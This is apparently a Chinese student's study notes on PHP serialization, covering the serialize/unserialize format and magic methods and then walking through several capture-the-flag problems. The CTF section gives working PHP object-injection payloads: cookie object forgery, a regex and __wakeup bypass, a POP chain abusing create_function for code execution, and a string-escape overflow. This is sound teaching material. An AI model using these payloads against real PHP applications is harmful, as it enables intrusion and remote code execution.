序列化和反序列化

基本概念

  • 序列化:将内存中的对象转化为可以存储或传输的格式的过程。
  • 反序列化:把存储或接收到的数据重新转换为内存中对象的过程。

常见应用场景

  • 数据存储:把对象保存到文件或数据库。
  • 网络传输:在客户端和服务器之间传递对象。
  • 跨语言通信:让不同编程语言的系统能够交换数据。

示例

<?php
// 定义一个数组
$user = [
    'name' => '张三',
    'age' => 28,
    'email' => 'zhangsan@example.com'
];

// 序列化数组
$serializedUser = serialize($user);

echo $serializedUser;
// 输出:a:3:{s:4:"name";s:6:"张三";s:3:"age";i:28;s:5:"email";s:20:"zhangsan@example.com";}
?>
//序列化

在php中,序列化的函数为serialize(),反序列化则为unserialize()
上述代码输出结果为:

a:3:{s:4:"name";s:6:"张三";s:3:"age";i:28;s:5:"email";s:20:"zhangsan@example.com";}
<?php
// 序列化后的字符串
$serializedUser = 'a:3:{s:4:"name";s:6:"张三";s:3:"age";i:28;s:5:"email";s:20:"zhangsan@example.com";}';

// 反序列化
$user = unserialize($serializedUser);

print_r($user);
/*
输出:
Array
(
    [name] => 张三
    [age] => 28
    [email] => zhangsan@example.com
)
*/
?>
//反序列化

1、序列化

  • 基本类型
<?php
// 字符串
$string = "Hello World";
echo serialize($string)."\n";  // 输出: s:11:"Hello World";

// 整数
$integer = 123;
echo serialize($integer)."\n"; // 输出: i:123;

// 浮点数
$float = 3.14;
echo serialize($float)."\n";   // 输出: d:3.14;

// 布尔值
$bool = true;
echo serialize($bool)."\n";    // 输出: b:1;

$bool = false;
echo serialize($bool)."\n";    // 输出: b:0;

// NULL值
$null = null;
echo serialize($null)."\n";    // 输出: N;
?>
  • 复合类型
<?php
// 索引数组
$array = [1, 2, 3];
echo serialize($array)."\n";  // 输出: a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}

// 关联数组
$assocArray = ['name' => '张三', 'age' => 25];
echo serialize($assocArray)."\n"; 
// 输出: a:2:{s:4:"name";s:6:"张三";s:3:"age";i:25;}

// 多维数组
$multiArray = [
    'user' => ['name' => '李四', 'age' => 30],
    'scores' => [85, 90, 78]
];
echo serialize($multiArray)."\n";
// 输出: a:2:{s:4:"user";a:2:{s:4:"name";s:6:"李四";s:3:"age";i:30;}s:6:"scores";a:3:{i:0;i:85;i:1;i:90;i:2;i:78;}}

?>
<?php
class Test{
    public $a = 'ThisA';
    protected $b = 'ThisB';
    private $c = 'ThisC';
    public function test1(){
        return 'this is test1';
    }
}
$test = new Test();
var_dump(serialize($test));

// $serialized = serialize(new Test());
// echo bin2hex($serialized);
?>

2. 序列化格式说明

PHP 序列化格式使用特定标记:

  • s:- 字符串,后面跟着长度和值
  • i:- 整数
  • d:- 浮点数
  • b:- 布尔值
  • a: 数组,后面跟着元素数量和大括号包裹的内容
  • 0:- 对象,后面跟着类名长度、类名和属性数量
  • N: -NULL 值
  • R:- 引用
  • C: 自定义对象 (实现 Serializable 接口时)
    理解这些格式有助于调试和解析序列化数据。

3、反序列化

<?php
class Test{
    public $a = 'ThisA';
    protected $b = 'ThisB';
    private $c = 'ThisC';
    public function test1(){
        return 'this is test1 ';
    }
}
$test = new Test();
$sTest = serialize($test);
echo "序列化数据: <br>";
var_dump($sTest);
$usTest = unserialize($sTest);
echo "<br>";
echo "反序列化数据:<br>";
var_dump($usTest);
?>

4、魔术方法

2025暑假学习/attachments/Pasted image 20250731102035.png

(1)__construct()与__destruct()方法

<?php
class User {
    public function __construct() {
        echo "对象已创建!";
    }
    public function __destruct() {
        echo "对象被销毁!";
    }
}

$user = new User(); // 输出 "对象已创建!"
unset($user);       // 输出 "对象被销毁!"
?>

(2)__get()与__set()方法(属性重载)

<?php
class DynamicProperties {
    private $data = []; // 用于存储动态属性的数组

    // 当访问不存在的属性时触发
    public function __get($name) {
        return $this->data[$name] ?? null;
    }

    // 当给不存在的属性赋值时触发
    public function __set($name, $value) {
        $this->data[$name] = $value;
    }
}

$obj = new DynamicProperties();
$obj->foo = "bar"; // 触发 __set("foo", "bar")
echo $obj->foo;    // 触发 __get("foo"),输出 "bar"
?>

(3)__call()和__callStatic()(方法重载)

<?php
class MethodOverloader {
    // 触发时机:调用一个对象中不存在或不可访问的实例方法时触发(如&nbsp;$obj->undefinedMethod())
    public function __call($name, $args) {
        return "调用了不存在的方法: $name, 参数: " . implode(", ", $args);
    }
    // 触发时机:调用一个类中不存在或不可访问的静态方法时触发(如&nbsp;ClassName::undefinedStaticMethod())
    public static function __callStatic($name, $args) {
        return "调用了不存在的静态方法: $name";
    }
}

$obj = new MethodOverloader();
echo $obj->run("fast");  // 输出 "调用了不存在的方法: run, 参数: fast"
echo MethodOverloader::jump(); // 输出 "调用了不存在的静态方法: jump"
?>

(4)__toString()(对象字符串化)

<?php
class Book {
    public function __toString() {
        return "这是一本书";
    }
}

$book = new Book();
echo $book; // 输出 "这是一本书"
?>

(5)__invoke()(对象可调用)

<?php
class CallableClass {
    public function __invoke($arg) {
        return "调用了对象,参数: $arg";
    }
}

$obj = new CallableClass();
echo $obj("hello"); // 输出 "调用了对象,参数: hello"
?>

(6)__sleep()与 __wakeup()(序列化控制)

<?php
class Session {
    private $password;

    public function __sleep() {
        return ['username']; // 只序列化 username,跳过 password
    }

    public function __wakeup() {
        $this->password = "default"; // 反序列化后重置密码
    }
}
?>

例题

对于一系列的例题,其实本质就是构造满足验证条件执行的类名对象,然后按照要求反序列化或序列化,最后按照指定方式发送到对应位置($_GET、 $_COOKIE)等等
源码:

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
    echo $flag;
}
?>  

注意到类

class mylogin{
    var $user;
    var $pass;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
    function login(){
        if ($this->user=="daydream" and $this->pass=="ok"){
            return 1;
        }
    }
}

满足$this->user=="daydream" and $this->pass=="ok"
就可以执行下面的echo $flag
因此构造

<?php
class mylogin{
	var $user="daydream";
	var $pass="ok";
}
$obj = new mylogin();
var_dump(serialize($obj));
var_dump(urlencode(serialize($obj)))
?>

得到payload:Cookie: param=O:7:"mylogin":2:{s:4:"user"%3bs:8:"daydream"%3bs:4:"pass"%3bs:2:"ok"%3b}
用HackerBar发送到cookie区执行即可
源码:

<?php
    class secret{
        var $file='index.php';

        public function __construct($file){
            $this->file=$file;
        }

        function __destruct(){
            include_once($this->file);
            echo $flag;
        }

        function __wakeup(){
            $this->file='index.php';
        }
    }
    $cmd=$_GET['cmd'];
    if (!isset($cmd)){
        echo show_source('index.php',true);
    }
    else{
        if (preg_match('/[oc]:\d+:/i',$cmd)){
            echo "Are you daydreaming?";
        }
        else{
            unserialize($cmd);
        }
    }
    //sercet in flag.php
?>

有过滤,在secret类中的destruct,有引用file后打印flag内容

  • GET 参数cmd会被反序列化,但存在正则过滤/[oc]:\d+:/i,阻止常规的对象序列化格式(如O:6:"secret":1:{...})。

绕过方法:在数字前面加上+号,这样不会触发过滤条件,而PHP会自动将+删除识别,因此不影响反序列化传入

  • __wakeup会重置$file,需要绕过该方法。

绕过方法:当当序列化字符串中对象的属性数量大于实际数量时,__wakeup方法不会被执行

payload:

<?php
class secret {
    var $file = 'flag.php';  // 目标文件
}

$payload = serialize(new secret());
$payload = str_replace('O:6:"secret":1', 'O:+6:"secret":2', $payload);  // 绕过过滤以及绕过__wakeup()
echo $payload."\n";
echo urlencode($payload)."\n";

主要学一下怎么绕过过滤机制和wakeup

cmd=O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

源码:

<?php 
highlight_file(__FILE__);
class func
{
    public $key;
    public function __destruct()
    {        
        unserialize($this->key)();
    } 
}

class GetFlag
{       
    public $code;
    public $action;
    public function get_flag(){
        $a=$this->action;
        $a('', $this->code);
    }
}

unserialize($_GET['param']);
?>

可以看到,这是在func(也就是析构)时调用魔术方法destruct来反序列化$key,又有一个危险函数GetFlag可以实现调用 $_GET来实现任意命令执行,因此我们的思路是,先构造一个GetFlag类实现system("cat flag"),然后调用func类析构使用反序列化传参param,实现反序列化的RCE
实现:

<?php
class func{
    public $key;
}
class GetFlag{
    public $code='}include("flag.php");echo $flag;//';
    public $action="create_function";
}
//构造RCEinclude方法打印flag
$a = new func();//创建func实例对象实现后面的反序列化
$b = new GetFlag();//创建构造好的GetFlag类的实例对象
$a->key = serialize(array($b, "get_flag"));//实例对象的key变量值为序列化的对象a数组,构造好的对象b和方法回调数组,最后存储在$a->key中
echo urlencode(serialize($a));//打印出传输param参数的func对象(经过URL编码)
?>

源码:

<?php
highlight_file(__FILE__);
class you
{
    private $body;
    private $pro='';
    function __destruct()
    {
        $project=$this->pro;
        $this->body->$project();
    }
}

class my
{
    public $name;

    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$a=$_GET['a'];
unserialize($a);
?> 

这里you类定义了两个private body和pro,pro在后面被__destruct方法引用执行,即输入pro的值会变成一个方法,而恰好my类里面有__call方法会在创建一个空方法时自动执行,使得它的参数名(func)的值变为这个方法名,那么我们就可以利用这个机制使得func的值为‘yourname’,并且同时设定my类的name为‘myname’,最终引用flag.php,打印flag的值
payload构建:

<?php
class you
{
    private $body;
    private $pro;
    // 初始化时自动设置`$body`和`$pro`
    function __construct(){
        $this->body=new my();
        $this->pro='yourname';
    }
    // 对象销毁时调用`$body->$project()`
    function __destruct()
    {
        $project=$this->pro;   //yourname
        $this->body->$project();
    }
}
 
class my
{
    public $name='myname';
    function __call($func, $args)
    {
        if ($func == 'yourname' and $this->name == 'myname') {
            include('flag.php');
            echo $flag;
        }
    }
}
$a = new you();
echo serialize($a);

最终payload:
a=O:3:"you":2:{s:9:"%00you%00body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:"%00you%00pro";s:8:"yourname";}

<?php
    class you
    {
        var $body;
        var $pro='yourname';
    }
    class my
    {
        var $name='myname';
    }
    $you1=new you();
    $me1=new my();
    $you1->body=$me1;
    $a=url(serialize($you1));
    echo $a;
?>

源码:

<?php
highlight_file(__FILE__);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}

$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
?>

这是一个有过滤机制和修改默认值的题目,关键在于将$pass的默认值daydream修改为escaping,这里就应用到一个知识点,即闭合}实现第一次赋值后再次赋值覆盖之前在类中声明好的默认值,
然后我们使用php,系统会过滤为hack,使得长度溢出,从而过滤后的序列化字符串中,user的长度描述仍是116(未更新),但实际内容长度是 145。这会导致:

  • 前 116 个字符被解析为user的值(包含部分注入内容)。
  • 剩余的145-116=29个字符(恰好是注入内容的后半部分)会 “溢出” 到user属性之外,成为序列化结构的一部分:
    // 过滤后的有效结构(简化)
    O:4:"test":2:{
      s:4:"user";s:116:"hackhack...hack";  // 前116字符(含部分注入内容)
      s:4:"pass";s:8:"escaping";}          // 溢出的注入内容,成为新的属性定义
    }
    

原有的pass:"daydream"被溢出的pass:"escaping"覆盖。

5. 最终结果

反序列化后,$profile->pass的值变为"escaping",满足条件并输出"mingy"
payload构建:

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$a = str_repeat("php", 29);
$param = $a . '";s:4:"pass";s:8:"escaping";}';
echo $param."\n";
$param=serialize(new test($param));
echo $param."\n";
$profile=unserialize(filter($param));
var_dump($profile->user);
var_dump($profile->pass);
if ($profile->pass=='escaping'){
    echo "mingy";
}
?>

payload:

param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
posted @ 2025-07-31 18:05  w0e6x  阅读(28)  评论(0)    收藏  举报